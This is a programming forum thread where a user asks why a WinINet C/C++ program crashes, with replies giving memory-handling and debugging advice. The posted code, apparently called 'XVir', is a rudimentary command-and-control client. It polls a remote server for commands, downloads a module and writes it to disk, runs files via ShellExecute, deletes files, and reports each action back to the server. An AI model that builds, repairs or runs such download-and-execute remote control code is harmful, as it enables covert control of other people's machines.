HttpSendRequest crashes program

Im making a program using wininet that connects to a website and follows commands on the server. But it keeps crashing.

This code is used in WM_CREATE

Code:

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hInternet = InternetOpen("XVir 0.02", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
            if(!hInternet)Append(hEdit, "Error: hInternet\r\n");
            http = InternetConnect(hInternet, "logonlive.medianewsonline.com", INTERNET_DEFAULT_HTTP_PORT,
                                              NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
            if(!http)Append(hEdit, "Error: http\r\n");

---

Code:

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LPCSTR Check()
{
    LPCSTR buff;
    LPCSTR other;
    DWORD count;
    DWORD countr;
    HINTERNET hRequest;
    hRequest = HttpOpenRequest(http, "GET", "/xvir/command.php", NULL, NULL, NULL,
                                          INTERNET_FLAG_RELOAD, 0);
    if(HttpSendRequest(hRequest, NULL, 0, NULL, 0) == FALSE)
    {
        Append(hEdit, "Damnit.");
    } //line fails on 3rd DEL ???
    InternetQueryDataAvailable(hRequest, &count, 0, 0);
    buff = new char[count];
    InternetReadFile(hRequest, (LPVOID)buff, count, &countr);
    return buff;
}

bool Interpret(LPCSTR buff)
{
    bool ret = false;
    char* command = (char*)malloc(3);
    char* arg;
    Append(hEdit, (char*)buff); Append(hEdit, "\r\n");
    strncpy(command, buff,3);
    if(strcmp(command,"LLL") != 0)
    {
    Append(hEdit, command); Append(hEdit, "\r\n");
    arg = (char*)malloc(strlen(buff)-4);
    strncpy(arg, buff+4, strlen(buff)-4);
    Append(hEdit, arg); Append(hEdit, "\r\n\r\n");
    }
   
    if(strcmp(command,"MOD") == 0)
    {
        HINTERNET hReq;
        char*    b;
        DWORD count, countr, total;
        hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/modsize.php?mod=",arg),NULL,NULL,NULL,
                                        INTERNET_FLAG_RELOAD, 0);
        HttpSendRequest(hReq, NULL, 0, NULL, 0);
        InternetQueryDataAvailable(hReq, &count, 0, 0);
        char* buff = (char*)malloc(count);
        InternetReadFile(hReq, (LPVOID)buff, count, &countr);
        Append(hEdit, buff); Append(hEdit, "\r\n\r\n");
        int modlen = atoi(buff);
        hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/module.php?mod=",arg),NULL,NULL,NULL,
                                        INTERNET_FLAG_RELOAD, 0);
        HttpSendRequest(hReq, NULL, 0, NULL, 0);
        char* module = (char*)malloc(modlen);
        countr = 1;
        total = 0;
        while(countr > 0 && total < modlen)
        {
              b = (char*)malloc(modlen+1);
              InternetReadFile(hReq, (LPVOID)b, modlen, &countr);
              memcpy(module+total, b, strlen(b));
              total += countr;
        }
        Append(hEdit, module);Append(hEdit,"\r\n\r\n");
        FILE *modf;
        modf = fopen(arg, "wb");
        fprintf(modf, module);
        fclose(modf);
        hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
                    strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
        HttpSendRequest(hReq,NULL,0,NULL,0);
        free(b);
    }   
    else if(strcmp(command,"DEL") == 0)
    {
          HINTERNET hReq;
          DeleteFile(arg);
          hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
                    strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
          HttpSendRequest(hReq,NULL,0,NULL,0);
    }
    else if(strcmp(command,"RUN") == 0)
    {
          HINTERNET hReq;
          ShellExecute(NULL, "open", arg, "", NULL, SW_SHOWMINNOACTIVE);
          hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
                    strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
          HttpSendRequest(hReq,NULL,0,NULL,0);
    }
    else if(strcmp(command,"LLL") == 0)
    {
          Append(hEdit, "No Commands");Append(hEdit, "\r\n\r\n");
    }
    free(command);
    free(arg);
    return ret;
}

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Append appends text to an edit control.

I call Interpret(Check()) when a menu is clicked.

Im sending the commands

MOD mod.txt

RUN mod.txt

DEL mod.txt

On the third command, the program freezes and then crashes. Any ideas what could be causing it?

First of all, don't mix calls of 'new' with 'malloc'. At any rate, you need to allocate at least an extra byte for your character arrays (consider using std::vector, instead) for the null terminator, ie:

Code:

---

int
      length = strlen( buffer );
char*
      copy = new char[ length + 1 ];
copy[ length ] = 0;
strncpy( copy, buffer, length );
// stuff
delete [ ] copy;

---

Note that in the above example, 'strncpy' actually terminates the array for you, but you should get in the habit of doing it, anyway.

Ok I changed my check function like this

Code:

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int Check()
{
    char* buff;
    DWORD count;
    DWORD countr;
    HINTERNET hRequest;
    Append(hEdit, "1");
    hRequest = HttpOpenRequest(http, "GET", "/xvir/command.php", NULL, NULL, NULL,
                                          INTERNET_FLAG_RELOAD, 0);
    Append(hEdit, "2");
    HttpSendRequest(hRequest, NULL, 0, NULL, 0);
    Append(hEdit, "3");
    InternetQueryDataAvailable(hRequest, &count, 0, 0);
    Append(hEdit, "4");
    buff = (char*)malloc(count + 1);
    buff[count] = 0;
    Append(hEdit, "5");
    InternetReadFile(hRequest, (LPVOID)buff, count, &countr);
    Append(hEdit, "6");
    Interpret(buff);
    Append(hEdit, "7");
    free(buff);
    Append(hEdit, "8");
    return 0;
}

---

but i still have the same problem
it seems to be httpsendrequest because before it crashes, it only gets to 2

Check what it returns. Possibly call GetLastError()...

I have tried that. It doesn't seem to return before the program crashes. The program freezes for a while then windows gives that popup "Project1.exe has encountered a problem..."

Is that the whole program?

Because if there are other areas which call (and abuse) malloc which you haven't posted, then we could all be looking in the wrong place.

Try in a simple test program. One where it calls the above function, it crashes AND is a complete program we can try.

Code:

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void Append(HWND hedit, char *str)
{
    int len = GetWindowTextLength(hedit);
    SendMessage(hedit, EM_SETSEL, len, len);
    SendMessage(hedit, EM_REPLACESEL, 0, (LPARAM)str);
    SendMessage(hedit, EM_SCROLLCARET, 0, 0);
}

char* strcatr(char* str, char* cat)
{
    char* strret = (char*)malloc(strlen(str)+strlen(cat)+1);
    strcpy(strret,str);
    strcpy(strret+strlen(str),cat);
    return strret;
}

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The rest of the code just sets up a window and puts an edit control in it. Nothing like mallocs.

Funny, I could have sworn I asked for a simple program calling HttpOpenRequest(), which crashes.

Not a description of your laundry basket.

Any particular reason you're not checking the return value of HttpOpenRequest() before you attempt to use the returned handle with HttpSendRequest()?

Also, I notice you're not closing the handle with InternetCloseHandle() when you're done either, so there could be a resource leak.